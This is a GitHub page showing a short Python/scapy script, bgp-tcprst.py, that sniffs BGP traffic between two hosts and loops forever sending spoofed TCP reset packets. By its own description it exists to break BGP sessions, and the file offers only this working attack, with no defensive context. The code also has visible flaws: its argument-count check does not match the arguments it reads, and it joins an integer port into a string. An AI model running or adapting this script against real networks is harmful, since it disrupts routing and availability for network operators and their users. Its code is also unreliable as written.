-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbgp-tcprst.py
38 lines (26 loc) · 1.03 KB
/
bgp-tcprst.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from scapy.all import *
import sys
'''
This script breaks BGP sessions using TCP Reset attack and scapy.
Dependencies:
- scapy
Usage: python3 bgp-tcprst.py iface bgp_port src_ip dst_ip window_size
'''
if len(sys.argv) < 4:
print("Usage:\npython3 bgp-tcprst.py iface bgp_port src_ip dst_ip window_size")
sys.exit(1)
bgp_port = int(sys.argv[2]) # Set BGP port
src_ip = sys.argv[3] # Set source IP
dst_ip = sys.argv[4] # Set destination IP
win = int(sys.argv[5]) # Set window size
print("\nSetting:\nbgp_port = {}\nsrc_ip = {}\ndst_ip = {}".format(bgp_port, src_ip, dst_ip))
while True:
filt = "src port " + bgp_port + " and dst " + dst_ip + " and src " + src_ip # Filter to sniff using scapy
s = sniff(filter=filt, iface=sys.argv[1], count=1)
s[0].show()
seq = int(s[0][TCP].ack)
ack = int(s[0][TCP].seq) + int(len(s[0][TCP].payload))
ip = IP(src=s[0][IP].src, dst=s[0][IP].dst)
sport = int(s[0][TCP].dport)
tcp = ip / TCP(sport=sport, dport=bgp_port, flags="RA", seq=seq, ack=ack, window=win)
send(tcp)